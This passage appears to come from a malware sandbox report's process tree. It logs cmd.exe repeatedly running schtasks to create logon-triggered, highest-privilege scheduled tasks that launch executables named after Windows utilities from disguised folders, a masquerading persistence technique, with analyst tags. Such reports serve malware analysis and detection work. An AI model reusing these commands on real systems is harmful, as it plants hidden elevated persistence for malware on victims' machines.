    schtasks /create /tn "WinTask_lodctr_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_5" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesRemote_5" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_where_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\where.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:11532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_where_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\where.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xwizard_8" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\xwizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xwizard_8" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\xwizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_11" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_11" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:12936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GameBarPresenceWriter_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\GameBarPresenceWriter.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GameBarPresenceWriter_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\GameBarPresenceWriter.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_13" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_13" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_16" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:11652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_16" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_raserver_18" /tr ""C:\ProgramData\MicrosoftService\raserver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_raserver_18" /tr ""C:\ProgramData\MicrosoftService\raserver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11444
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_20" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_20" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_21" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\UpdateCache\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_21" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\UpdateCache\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_23" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_23" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_26" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_26" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_27" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_27" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_30" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_30" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_31" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_31" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_32" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_32" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_1" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_1" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_3" /tr ""C:\ProgramData\MicrosoftService\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_3" /tr ""C:\ProgramData\MicrosoftService\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_6" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_6" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wlanext_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wlanext.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wlanext_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wlanext.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_8" /tr ""C:\ProgramData\MicrosoftService\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12676
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unlodctr_8" /tr ""C:\ProgramData\MicrosoftService\unlodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6744
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_11" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_11" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4900
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_13" /tr ""C:\ProgramData\MicrosoftService\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_13" /tr ""C:\ProgramData\MicrosoftService\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_16" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:13132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_16" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_18" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_18" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3432
- C:\Windows\SysWOW64\cmd.exe
